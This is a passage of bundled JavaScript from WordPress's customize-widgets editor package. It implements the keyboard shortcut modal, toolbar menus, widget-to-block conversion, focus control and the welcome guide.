617 {
618 keyCombination,
619 forceAriaLabel: ariaLabel
620 }
621 ),
622 aliases.map((alias, index) => /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
623 KeyCombination,
624 {
625 keyCombination: alias,
626 forceAriaLabel: ariaLabel
627 },
628 index
629 ))
630 ] })
631 ] });
632 }
633 var shortcut_default = Shortcut;
634
635 // packages/customize-widgets/build-module/components/keyboard-shortcut-help-modal/dynamic-shortcut.mjs
636 var import_data5 = __toESM(require_data(), 1);
637 var import_keyboard_shortcuts = __toESM(require_keyboard_shortcuts(), 1);
638 var import_jsx_runtime11 = __toESM(require_jsx_runtime(), 1);
639 function DynamicShortcut({ name }) {
640 const { keyCombination, description, aliases } = (0, import_data5.useSelect)(
641 (select) => {
642 const {
643 getShortcutKeyCombination,
644 getShortcutDescription,
645 getShortcutAliases
646 } = select(import_keyboard_shortcuts.store);
647 return {
648 keyCombination: getShortcutKeyCombination(name),
649 aliases: getShortcutAliases(name),
650 description: getShortcutDescription(name)
651 };
652 },
653 [name]
654 );
655 if (!keyCombination) {
656 return null;
657 }
658 return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
659 shortcut_default,
660 {
661 keyCombination,
662 description,
663 aliases
664 }
665 );
666 }
667 var dynamic_shortcut_default = DynamicShortcut;
668
669 // packages/customize-widgets/build-module/components/keyboard-shortcut-help-modal/index.mjs
670 var import_jsx_runtime12 = __toESM(require_jsx_runtime(), 1);
671 var ShortcutList = ({ shortcuts }) => (
672 /*
673 * Disable reason: The `list` ARIA role is redundant but
674 * Safari+VoiceOver won't announce the list otherwise.
675 */
676 /* eslint-disable jsx-a11y/no-redundant-roles */
677 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
678 "ul",
679 {
680 className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-list",
681 role: "list",
682 children: shortcuts.map((shortcut, index) => /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
683 "li",
684 {
685 className: "customize-widgets-keyboard-shortcut-help-modal__shortcut",
686 children: typeof shortcut === "string" ? /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(dynamic_shortcut_default, { name: shortcut }) : /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(shortcut_default, { ...shortcut })
687 },
688 index
689 ))
690 }
691 )
692 );
693 var ShortcutSection = ({ title, shortcuts, className }) => /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(
694 "section",
695 {
696 className: clsx_default(
697 "customize-widgets-keyboard-shortcut-help-modal__section",
698 className
699 ),
700 children: [
701 !!title && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)("h2", { className: "customize-widgets-keyboard-shortcut-help-modal__section-title", children: title }),
702 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(ShortcutList, { shortcuts })
703 ]
704 }
705 );
706 var ShortcutCategorySection = ({
707 title,
708 categoryName,
709 additionalShortcuts = []
710 }) => {
711 const categoryShortcuts = (0, import_data6.useSelect)(
712 (select) => {
713 return select(import_keyboard_shortcuts2.store).getCategoryShortcuts(
714 categoryName
715 );
716 },
717 [categoryName]
718 );
719 return /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
720 ShortcutSection,
721 {
722 title,
723 shortcuts: categoryShortcuts.concat(additionalShortcuts)
724 }
725 );
726 };
727 function KeyboardShortcutHelpModal({
728 isModalActive,
729 toggleModal
730 }) {
731 const { registerShortcut } = (0, import_data6.useDispatch)(import_keyboard_shortcuts2.store);
732 (0, import_element4.useEffect)(() => {
733 registerShortcut({
734 name: "core/customize-widgets/keyboard-shortcuts",
735 category: "main",
736 description: (0, import_i18n5.__)("Display these keyboard shortcuts."),
737 keyCombination: {
738 modifier: "access",
739 character: "h"
740 }
741 });
742 }, [registerShortcut]);
743 (0, import_keyboard_shortcuts2.useShortcut)("core/customize-widgets/keyboard-shortcuts", toggleModal);
744 if (!isModalActive) {
745 return null;
746 }
747 return /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(
748 import_components4.Modal,
749 {
750 className: "customize-widgets-keyboard-shortcut-help-modal",
751 title: (0, import_i18n5.__)("Keyboard shortcuts"),
752 onRequestClose: toggleModal,
753 children: [
754 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
755 ShortcutSection,
756 {
757 className: "customize-widgets-keyboard-shortcut-help-modal__main-shortcuts",
758 shortcuts: ["core/customize-widgets/keyboard-shortcuts"]
759 }
760 ),
761 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
762 ShortcutCategorySection,
763 {
764 title: (0, import_i18n5.__)("Global shortcuts"),
765 categoryName: "global"
766 }
767 ),
768 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
769 ShortcutCategorySection,
770 {
771 title: (0, import_i18n5.__)("Selection shortcuts"),
772 categoryName: "selection"
773 }
774 ),
775 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
776 ShortcutCategorySection,
777 {
778 title: (0, import_i18n5.__)("Block shortcuts"),
779 categoryName: "block",
780 additionalShortcuts: [
781 {
782 keyCombination: { character: "/" },
783 description: (0, import_i18n5.__)(
784 "Change the block type after adding a new paragraph."
785 ),
786 /* translators: The forward-slash character. e.g. '/'. */
787 ariaLabel: (0, import_i18n5.__)("Forward-slash")
788 }
789 ]
790 }
791 ),
792 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
793 ShortcutSection,
794 {
795 title: (0, import_i18n5.__)("Text formatting"),
796 shortcuts: textFormattingShortcuts
797 }
798 )
799 ]
800 }
801 );
802 }
803
804 // packages/customize-widgets/build-module/components/more-menu/index.mjs
805 var import_jsx_runtime13 = __toESM(require_jsx_runtime(), 1);
806 function MoreMenu() {
807 const [
808 isKeyboardShortcutsModalActive,
809 setIsKeyboardShortcutsModalVisible
810 ] = (0, import_element5.useState)(false);
811 const toggleKeyboardShortcutsModal = () => setIsKeyboardShortcutsModalVisible(!isKeyboardShortcutsModalActive);
812 (0, import_keyboard_shortcuts3.useShortcut)(
813 "core/customize-widgets/keyboard-shortcuts",
814 toggleKeyboardShortcutsModal
815 );
816 return /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_jsx_runtime13.Fragment, { children: [
817 /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
818 import_components5.ToolbarDropdownMenu,
819 {
820 icon: more_vertical_default,
821 label: (0, import_i18n6.__)("Options"),
822 popoverProps: {
823 placement: "bottom-end",
824 className: "more-menu-dropdown__content"
825 },
826 toggleProps: {
827 tooltipPosition: "bottom",
828 size: "compact"
829 },
830 children: () => /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_jsx_runtime13.Fragment, { children: [
831 /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_components5.MenuGroup, { label: (0, import_i18n6._x)("View", "noun"), children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
832 import_preferences.PreferenceToggleMenuItem,
833 {
834 scope: "core/customize-widgets",
835 name: "fixedToolbar",
836 label: (0, import_i18n6.__)("Top toolbar"),
837 info: (0, import_i18n6.__)(
838 "Access all block and document tools in a single place"
839 ),
840 messageActivated: (0, import_i18n6.__)(
841 "Top toolbar activated"
842 ),
843 messageDeactivated: (0, import_i18n6.__)(
844 "Top toolbar deactivated"
845 )
846 }
847 ) }),
848 /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_components5.MenuGroup, { label: (0, import_i18n6.__)("Tools"), children: [
849 /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
850 import_components5.MenuItem,
851 {
852 onClick: () => {
853 setIsKeyboardShortcutsModalVisible(true);
854 },
855 shortcut: import_keycodes2.displayShortcut.access("h"),
856 children: (0, import_i18n6.__)("Keyboard shortcuts")
857 }
858 ),
859 /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
860 import_preferences.PreferenceToggleMenuItem,
861 {
862 scope: "core/customize-widgets",
863 name: "welcomeGuide",
864 label: (0, import_i18n6.__)("Welcome Guide")
865 }
866 ),
867 /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(
868 import_components5.MenuItem,
869 {
870 role: "menuitem",
871 icon: external_default,
872 href: (0, import_i18n6.__)(
873 "https://wordpress.org/documentation/article/block-based-widgets-editor/"
874 ),
875 target: "_blank",
876 rel: "noopener noreferrer",
877 children: [
878 (0, import_i18n6.__)("Help"),
879 /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_components5.VisuallyHidden, {
880 as: "span",
881 /* translators: accessibility text */
882 children: (0, import_i18n6.__)("(opens in a new tab)")
883 })
884 ]
885 }
886 )
887 ] }),
888 /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_components5.MenuGroup, { label: (0, import_i18n6.__)("Preferences"), children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
889 import_preferences.PreferenceToggleMenuItem,
890 {
891 scope: "core/customize-widgets",
892 name: "keepCaretInsideBlock",
893 label: (0, import_i18n6.__)(
894 "Contain text cursor inside block"
895 ),
896 info: (0, import_i18n6.__)(
897 "Aids screen readers by stopping text caret from leaving blocks."
898 ),
899 messageActivated: (0, import_i18n6.__)(
900 "Contain text cursor inside block activated"
901 ),
902 messageDeactivated: (0, import_i18n6.__)(
903 "Contain text cursor inside block deactivated"
904 )
905 }
906 ) })
907 ] })
908 }
909 ),
910 /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
911 KeyboardShortcutHelpModal,
912 {
913 isModalActive: isKeyboardShortcutsModalActive,
914 toggleModal: toggleKeyboardShortcutsModal
915 }
916 )
917 ] });
918 }
919
920 // packages/customize-widgets/build-module/components/header/index.mjs
921 var import_jsx_runtime14 = __toESM(require_jsx_runtime(), 1);
922 function Header({
923 sidebar,
924 inserter,
925 isInserterOpened: isInserterOpened2,
926 setIsInserterOpened: setIsInserterOpened2,
927 isFixedToolbarActive
928 }) {
929 const [[hasUndo, hasRedo], setUndoRedo] = (0, import_element6.useState)([
930 sidebar.hasUndo(),
931 sidebar.hasRedo()
932 ]);
933 const shortcut = (0, import_keycodes3.isAppleOS)() ? import_keycodes3.displayShortcut.primaryShift("z") : import_keycodes3.displayShortcut.primary("y");
934 (0, import_element6.useEffect)(() => {
935 return sidebar.subscribeHistory(() => {
936 setUndoRedo([sidebar.hasUndo(), sidebar.hasRedo()]);
937 });
938 }, [sidebar]);
939 return /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)(import_jsx_runtime14.Fragment, { children: [
940 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(
941 "div",
942 {
943 className: clsx_default("customize-widgets-header", {
944 "is-fixed-toolbar-active": isFixedToolbarActive
945 }),
946 children: /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)(
947 import_block_editor4.NavigableToolbar,
948 {
949 className: "customize-widgets-header-toolbar",
950 "aria-label": (0, import_i18n7.__)("Document tools"),
951 children: [
952 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(
953 import_components6.ToolbarButton,
954 {
955 icon: !(0, import_i18n7.isRTL)() ? undo_default : redo_default,
956 label: (0, import_i18n7.__)("Undo"),
957 shortcut: import_keycodes3.displayShortcut.primary("z"),
958 disabled: !hasUndo,
959 onClick: sidebar.undo,
960 className: "customize-widgets-editor-history-button undo-button"
961 }
962 ),
963 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(
964 import_components6.ToolbarButton,
965 {
966 icon: !(0, import_i18n7.isRTL)() ? redo_default : undo_default,
967 label: (0, import_i18n7.__)("Redo"),
968 shortcut,
969 disabled: !hasRedo,
970 onClick: sidebar.redo,
971 className: "customize-widgets-editor-history-button redo-button"
972 }
973 ),
974 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(
975 import_components6.ToolbarButton,
976 {
977 className: "customize-widgets-header-toolbar__inserter-toggle",
978 isPressed: isInserterOpened2,
979 variant: "primary",
980 icon: plus_default,
981 label: (0, import_i18n7._x)(
982 "Add block",
983 "Generic label for block inserter button"
984 ),
985 onClick: () => {
986 setIsInserterOpened2((isOpen) => !isOpen);
987 }
988 }
989 ),
990 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(MoreMenu, {})
991 ]
992 }
993 )
994 }
995 ),
996 (0, import_element6.createPortal)(
997 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(inserter_default, { setIsOpened: setIsInserterOpened2 }),
998 inserter.contentContainer[0]
999 )
1000 ] });
1001 }
1002 var header_default = Header;
1003
1004 // packages/customize-widgets/build-module/components/inserter/use-inserter.mjs
1005 var import_element7 = __toESM(require_element(), 1);
1006 var import_data7 = __toESM(require_data(), 1);
1007 function useInserter(inserter) {
1008 const isInserterOpened2 = (0, import_data7.useSelect)(
1009 (select) => select(store).isInserterOpened(),
1010 []
1011 );
1012 const { setIsInserterOpened: setIsInserterOpened2 } = (0, import_data7.useDispatch)(store);
1013 (0, import_element7.useEffect)(() => {
1014 if (isInserterOpened2) {
1015 inserter.open();
1016 } else {
1017 inserter.close();
1018 }
1019 }, [inserter, isInserterOpened2]);
1020 return [
1021 isInserterOpened2,
1022 (0, import_element7.useCallback)(
1023 (updater) => {
1024 let isOpen = updater;
1025 if (typeof updater === "function") {
1026 isOpen = updater(
1027 (0, import_data7.select)(store).isInserterOpened()
1028 );
1029 }
1030 setIsInserterOpened2(isOpen);
1031 },
1032 [setIsInserterOpened2]
1033 )
1034 ];
1035 }
1036
1037 // packages/customize-widgets/build-module/components/sidebar-block-editor/sidebar-editor-provider.mjs
1038 var import_block_editor6 = __toESM(require_block_editor(), 1);
1039
1040 // packages/customize-widgets/build-module/components/sidebar-block-editor/use-sidebar-block-editor.mjs
1041 var import_es6 = __toESM(require_es6(), 1);
1042 var import_element8 = __toESM(require_element(), 1);
1043 var import_is_shallow_equal = __toESM(require_is_shallow_equal(), 1);
1044 var import_widgets2 = __toESM(require_widgets(), 1);
1045
1046 // packages/customize-widgets/build-module/utils.mjs
1047 var import_blocks = __toESM(require_blocks(), 1);
1048 var import_widgets = __toESM(require_widgets(), 1);
1049 function settingIdToWidgetId(settingId) {
1050 const matches = settingId.match(/^widget_(.+)(?:\[(\d+)\])$/);
1051 if (matches) {
1052 const idBase = matches[1];
1053 const number = parseInt(matches[2], 10);
1054 return `${idBase}-${number}`;
1055 }
1056 return settingId;
1057 }
1058 function blockToWidget(block, existingWidget = null) {
1059 let widget;
1060 const isValidLegacyWidgetBlock = block.name === "core/legacy-widget" && (block.attributes.id || block.attributes.instance);
1061 if (isValidLegacyWidgetBlock) {
1062 if (block.attributes.id) {
1063 widget = {
1064 id: block.attributes.id
1065 };
1066 } else {
1067 const { encoded, hash, raw, ...rest } = block.attributes.instance;
1068 widget = {
1069 idBase: block.attributes.idBase,
1070 instance: {
1071 ...existingWidget?.instance,
1072 // Required only for the customizer.
1073 is_widget_customizer_js_value: true,
1074 encoded_serialized_instance: encoded,
1075 instance_hash_key: hash,
1076 raw_instance: raw,
1077 ...rest
1078 }
1079 };
1080 }
1081 } else {
1082 const instance = {
1083 content: (0, import_blocks.serialize)(block)
1084 };
1085 widget = {
1086 idBase: "block",
1087 widgetClass: "WP_Widget_Block",
1088 instance: {
1089 raw_instance: instance
1090 }
1091 };
1092 }
1093 const { form, rendered, ...restExistingWidget } = existingWidget || {};
1094 return {
1095 ...restExistingWidget,
1096 ...widget
1097 };
1098 }
1099 function widgetToBlock({ id, idBase, number, instance }) {
1100 let block;
1101 const {
1102 encoded_serialized_instance: encoded,
1103 instance_hash_key: hash,
1104 raw_instance: raw,
1105 ...rest
1106 } = instance;
1107 if (idBase === "block") {
1108 const parsedBlocks = (0, import_blocks.parse)(raw.content ?? "", {
1109 __unstableSkipAutop: true
1110 });
1111 block = parsedBlocks.length ? parsedBlocks[0] : (0, import_blocks.createBlock)("core/paragraph", {});
1112 } else if (number) {
1113 block = (0, import_blocks.createBlock)("core/legacy-widget", {
1114 idBase,
1115 instance: {
1116 encoded,
1117 hash,
1118 raw,
1119 ...rest
1120 }
1121 });
1122 } else {
1123 block = (0, import_blocks.createBlock)("core/legacy-widget", {
1124 id
1125 });
1126 }
1127 return (0, import_widgets.addWidgetIdToBlock)(block, id);
1128 }
1129
1130 // packages/customize-widgets/build-module/components/sidebar-block-editor/use-sidebar-block-editor.mjs
1131 function widgetsToBlocks(widgets) {
1132 return widgets.map((widget) => widgetToBlock(widget));
1133 }
1134 function useSidebarBlockEditor(sidebar) {
1135 const [blocks, setBlocks] = (0, import_element8.useState)(
1136 () => widgetsToBlocks(sidebar.getWidgets())
1137 );
1138 (0, import_element8.useEffect)(() => {
1139 return sidebar.subscribe((prevWidgets, nextWidgets) => {
1140 setBlocks((prevBlocks) => {
1141 const prevWidgetsMap = new Map(
1142 prevWidgets.map((widget) => [widget.id, widget])
1143 );
1144 const prevBlocksMap = new Map(
1145 prevBlocks.map((block) => [
1146 (0, import_widgets2.getWidgetIdFromBlock)(block),
1147 block
1148 ])
1149 );
1150 const nextBlocks = nextWidgets.map((nextWidget) => {
1151 const prevWidget = prevWidgetsMap.get(nextWidget.id);
1152 if (prevWidget && prevWidget === nextWidget) {
1153 return prevBlocksMap.get(nextWidget.id);
1154 }
1155 return widgetToBlock(nextWidget);
1156 });
1157 if ((0, import_is_shallow_equal.isShallowEqual)(prevBlocks, nextBlocks)) {
1158 return prevBlocks;
1159 }
1160 return nextBlocks;
1161 });
1162 });
1163 }, [sidebar]);
1164 const onChangeBlocks = (0, import_element8.useCallback)(
1165 (nextBlocks) => {
1166 setBlocks((prevBlocks) => {
1167 if ((0, import_is_shallow_equal.isShallowEqual)(prevBlocks, nextBlocks)) {
1168 return prevBlocks;
1169 }
1170 const prevBlocksMap = new Map(
1171 prevBlocks.map((block) => [
1172 (0, import_widgets2.getWidgetIdFromBlock)(block),
1173 block
1174 ])
1175 );
1176 const nextWidgets = nextBlocks.map((nextBlock) => {
1177 const widgetId = (0, import_widgets2.getWidgetIdFromBlock)(nextBlock);
1178 if (widgetId && prevBlocksMap.has(widgetId)) {
1179 const prevBlock = prevBlocksMap.get(widgetId);
1180 const prevWidget = sidebar.getWidget(widgetId);
1181 if ((0, import_es6.default)(nextBlock, prevBlock) && prevWidget) {
1182 return prevWidget;
1183 }
1184 return blockToWidget(nextBlock, prevWidget);
1185 }
1186 return blockToWidget(nextBlock);
1187 });
1188 if ((0, import_is_shallow_equal.isShallowEqual)(sidebar.getWidgets(), nextWidgets)) {
1189 return prevBlocks;
1190 }
1191 const addedWidgetIds = sidebar.setWidgets(nextWidgets);
1192 return nextBlocks.reduce(
1193 (updatedNextBlocks, nextBlock, index) => {
1194 const addedWidgetId = addedWidgetIds[index];
1195 if (addedWidgetId !== null) {
1196 if (updatedNextBlocks === nextBlocks) {
1197 updatedNextBlocks = nextBlocks.slice();
1198 }
1199 updatedNextBlocks[index] = (0, import_widgets2.addWidgetIdToBlock)(
1200 nextBlock,
1201 addedWidgetId
1202 );
1203 }
1204 return updatedNextBlocks;
1205 },
1206 nextBlocks
1207 );
1208 });
1209 },
1210 [sidebar]
1211 );
1212 return [blocks, onChangeBlocks, onChangeBlocks];
1213 }
1214
1215 // packages/customize-widgets/build-module/components/focus-control/use-blocks-focus-control.mjs
1216 var import_element10 = __toESM(require_element(), 1);
1217 var import_data8 = __toESM(require_data(), 1);
1218 var import_block_editor5 = __toESM(require_block_editor(), 1);
1219 var import_widgets3 = __toESM(require_widgets(), 1);
1220
1221 // packages/customize-widgets/build-module/components/focus-control/index.mjs
1222 var import_element9 = __toESM(require_element(), 1);
1223 var import_jsx_runtime15 = __toESM(require_jsx_runtime(), 1);
1224 var FocusControlContext = (0, import_element9.createContext)();
1225 FocusControlContext.displayName = "FocusControlContext";
1226 function FocusControl({ api, sidebarControls, children }) {
1227 const [focusedWidgetIdRef, setFocusedWidgetIdRef] = (0, import_element9.useState)({
1228 current: null
1229 });
1230 const focusWidget = (0, import_element9.useCallback)(
1231 (widgetId) => {
1232 for (const sidebarControl of sidebarControls) {
1233 const widgets = sidebarControl.setting.get();
1234 if (widgets.includes(widgetId)) {
1235 sidebarControl.sectionInstance.expand({
1236 // Schedule it after the complete callback so that
1237 // it won't be overridden by the "Back" button focus.
1238 completeCallback() {
1239 setFocusedWidgetIdRef({ current: widgetId });
1240 }
1241 });
1242 break;
1243 }
1244 }
1245 },
1246 [sidebarControls]
1247 );
1248 (0, import_element9.useEffect)(() => {
1249 function handleFocus(settingId) {
1250 const widgetId = settingIdToWidgetId(settingId);
1251 focusWidget(widgetId);
1252 }
1253 let previewBound = false;
1254 function handleReady() {
1255 api.previewer.preview.bind(
1256 "focus-control-for-setting",
1257 handleFocus
1258 );
1259 previewBound = true;
1260 }
1261 api.previewer.bind("ready", handleReady);
1262 return () => {
1263 api.previewer.unbind("ready", handleReady);
1264 if (previewBound) {
1265 api.previewer.preview.unbind(
1266 "focus-control-for-setting",
1267 handleFocus
1268 );
1269 }
1270 };
1271 }, [api, focusWidget]);
1272 const context = (0, import_element9.useMemo)(
1273 () => [focusedWidgetIdRef, focusWidget],
1274 [focusedWidgetIdRef, focusWidget]
1275 );
1276 return /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(FocusControlContext.Provider, { value: context, children });
1277 }
1278 var useFocusControl = () => (0, import_element9.useContext)(FocusControlContext);
1279
1280 // packages/customize-widgets/build-module/components/focus-control/use-blocks-focus-control.mjs
1281 function useBlocksFocusControl(blocks) {
1282 const { selectBlock } = (0, import_data8.useDispatch)(import_block_editor5.store);
1283 const [focusedWidgetIdRef] = useFocusControl();
1284 const blocksRef = (0, import_element10.useRef)(blocks);
1285 (0, import_element10.useEffect)(() => {
1286 blocksRef.current = blocks;
1287 }, [blocks]);
1288 (0, import_element10.useEffect)(() => {
1289 if (focusedWidgetIdRef.current) {
1290 const focusedBlock = blocksRef.current.find(
1291 (block) => (0, import_widgets3.getWidgetIdFromBlock)(block) === focusedWidgetIdRef.current
1292 );
1293 if (focusedBlock) {
1294 selectBlock(focusedBlock.clientId);
1295 const blockNode = document.querySelector(
1296 `[data-block="${focusedBlock.clientId}"]`
1297 );
1298 blockNode?.focus();
1299 }
1300 }
1301 }, [focusedWidgetIdRef, selectBlock]);
1302 }
1303
1304 // packages/customize-widgets/build-module/lock-unlock.mjs
1305 var import_private_apis = __toESM(require_private_apis(), 1);
1306 var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
1307 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
1308 "@wordpress/customize-widgets"
1309 );
1310
1311 // packages/customize-widgets/build-module/components/sidebar-block-editor/sidebar-editor-provider.mjs
1312 var import_jsx_runtime16 = __toESM(require_jsx_runtime(), 1);
1313 var { ExperimentalBlockEditorProvider } = unlock(import_block_editor6.privateApis);
1314 function SidebarEditorProvider({
1315 sidebar,
1316 settings,
1317 children
1318 }) {
1319 const [blocks, onInput, onChange] = useSidebarBlockEditor(sidebar);
1320 useBlocksFocusControl(blocks);
1321 return /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(
1322 ExperimentalBlockEditorProvider,
1323 {
1324 value: blocks,
1325 onInput,
1326 onChange,
1327 settings,
1328 useSubRegistry: false,
1329 children
1330 }
1331 );
1332 }
1333
1334 // packages/customize-widgets/build-module/components/welcome-guide/index.mjs
1335 var import_i18n8 = __toESM(require_i18n(), 1);
1336 var import_components7 = __toESM(require_components(), 1);
1337 var import_data9 = __toESM(require_data(), 1);
1338 var import_preferences2 = __toESM(require_preferences(), 1);
1339 var import_jsx_runtime17 = __toESM(require_jsx_runtime(), 1);
1340 function WelcomeGuide({ sidebar }) {
1341 const { toggle } = (0, import_data9.useDispatch)(import_preferences2.store);
1342 const isEntirelyBlockWidgets = sidebar.getWidgets().every((widget) => widget.id.startsWith("block-"));
1343 return /* @__PURE__ */ (0, import_jsx_runtime17.jsxs)("div", { className: "customize-widgets-welcome-guide", children: [
1344 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)("div", { className: "customize-widgets-welcome-guide__image__wrapper", children: /* @__PURE__ */ (0, import_jsx_runtime17.jsxs)("picture", { children: [
1345 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(
1346 "source",
1347 {
1348 srcSet: "https://s.w.org/images/block-editor/welcome-editor.svg",
1349 media: "(prefers-reduced-motion: reduce)"
1350 }
1351 ),
1352 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(
1353 "img",
1354 {
1355 className: "customize-widgets-welcome-guide__image",
1356 src: "https://s.w.org/images/block-editor/welcome-editor.gif",
1357 width: "312",
1358 height: "240",
1359 alt: ""
1360 }
1361 )
1362 ] }) }),
1363 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)("h1", { className: "customize-widgets-welcome-guide__heading", children: (0, import_i18n8.__)("Welcome to block Widgets") }),
1364 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)("p", { className: "customize-widgets-welcome-guide__text", children: isEntirelyBlockWidgets ? (0, import_i18n8.__)(
1365 "Your theme provides different \u201Cblock\u201D areas for you to add and edit content.\xA0Try adding a search bar, social icons, or other types of blocks here and see how they\u2019ll look on your site."
1366 ) : (0, import_i18n8.__)(
1367 "You can now add any block to your site\u2019s widget areas. Don\u2019t worry, all of your favorite widgets still work flawlessly."
1368 ) }),
1369 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(
1370 import_components7.Button,
1371 {
1372 size: "compact",
1373 variant: "primary",
1374 onClick: () => toggle("core/customize-widgets", "welcomeGuide"),
1375 children: (0, import_i18n8.__)("Got it")
1376 }
1377 ),
1378 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)("hr", { className: "customize-widgets-welcome-guide__separator" }),
1379 !isEntirelyBlockWidgets && /* @__PURE__ */ (0, import_jsx_runtime17.jsxs)("p", { className: "customize-widgets-welcome-guide__more-info", children: [
1380 (0, import_i18n8.__)("Want to stick with the old widgets?"),
1381 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)("br", {}),
1382 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(
1383 import_components7.ExternalLink,
1384 {
1385 href: (0, import_i18n8.__)(
1386 "https://wordpress.org/plugins/classic-widgets/"
1387 ),
1388 children: (0, import_i18n8.__)("Get the Classic Widgets plugin.")
1389 }
1390 )
1391 ] }),
1392 /* @__PURE__ */ (0, import_jsx_runtime17.jsxs)("p", { className: "customize-widgets-welcome-guide__more-info", children: [
1393 (0, import_i18n8.__)("New to the block editor?"),
1394 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)("br", {}),
1395 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(
1396 import_components7.ExternalLink,
1397 {
1398 href: (0, import_i18n8.__)(
1399 "https://wordpress.org/documentation/article/wordpress-block-editor/"
1400 ),
1401 children: (0, import_i18n8.__)("Here's a detailed guide.")
1402 }
1403 )
1404 ] })
1405 ] });
1406 }
1407
1408 // packages/customize-widgets/build-module/components/keyboard-shortcuts/index.mjs
1409 var import_element11 = __toESM(require_element(), 1);
1410 var import_keyboard_shortcuts4 = __toESM(require_keyboard_shortcuts(), 1);
1411 var import_keycodes4 = __toESM(require_keycodes(), 1);
1412 var import_data10 = __toESM(require_data(), 1);
1413 var import_i18n9 = __toESM(require_i18n(), 1);
1414 function KeyboardShortcuts({ undo, redo, save }) {
1415 (0, import_keyboard_shortcuts4.useShortcut)("core/customize-widgets/undo", (event) => {
1416 undo();
1417 event.preventDefault();
1418 });
1419 (0, import_keyboard_shortcuts4.useShortcut)("core/customize-widgets/redo", (event) => {
1420 redo();
1421 event.preventDefault();
1422 });
1423 (0, import_keyboard_shortcuts4.useShortcut)("core/customize-widgets/save", (event) => {
1424 event.preventDefault();
1425 save();
1426 });
1427 return null;
1428 }
1429 function KeyboardShortcutsRegister() {
1430 const { registerShortcut, unregisterShortcut } = (0, import_data10.useDispatch)(
1431 import_keyboard_shortcuts4.store
1432 );
1433 (0, import_element11.useEffect)(() => {
1434 registerShortcut({
1435 name: "core/customize-widgets/undo",
1436 category: "global",
1437 description: (0, import_i18n9.__)("Undo your last changes."),
1438 keyCombination: {
1439 modifier: "primary",
1440 character: "z"
1441 }
1442 });
1443 registerShortcut({
1444 name: "core/customize-widgets/redo",
1445 category: "global",
1446 description: (0, import_i18n9.__)("Redo your last undo."),
1447 keyCombination: {
1448 modifier: "primaryShift",
1449 character: "z"
1450 },
1451 // Disable on Apple OS because it conflicts with the browser's
1452 // history shortcut. It's a fine alias for both Windows and Linux.
1453 // Since there's no conflict for Ctrl+Shift+Z on both Windows and
1454 // Linux, we keep it as the default for consistency.
1455 aliases: (0, import_keycodes4.isAppleOS)() ? [] : [
1456 {
1457 modifier: "primary",
1458 character: "y"
1459 }
1460 ]
1461 });
1462 registerShortcut({
1463 name: "core/customize-widgets/save",
1464 category: "global",
1465 description: (0, import_i18n9.__)("Save your changes."),
1466 keyCombination: {
1467 modifier: "primary",
1468 character: "s"
1469 }
1470 });
1471 return () => {
1472 unregisterShortcut("core/customize-widgets/undo");
1473 unregisterShortcut("core/customize-widgets/redo");
1474 unregisterShortcut("core/customize-widgets/save");
1475 };
1476 }, [registerShortcut]);
1477 return null;
1478 }
1479 KeyboardShortcuts.Register = KeyboardShortcutsRegister;
1480 var keyboard_shortcuts_default = KeyboardShortcuts;
1481
1482 // packages/customize-widgets/build-module/components/block-appender/index.mjs
1483 var import_element12 = __toESM(require_element(), 1);
1484 var import_block_editor7 = __toESM(require_block_editor(), 1);
1485 var import_data11 = __toESM(require_data(), 1);
1486 var import_jsx_runtime18 = __toESM(require_jsx_runtime(), 1);
1487 function BlockAppender(props) {
1488 const ref = (0, import_element12.useRef)();
1489 const isBlocksListEmpty = (0, import_data11.useSelect)(
1490 (select) => select(import_block_editor7.store).getBlockCount() === 0
1491 );
1492 (0, import_element12.useEffect)(() => {
1493 if (isBlocksListEmpty && ref.current) {
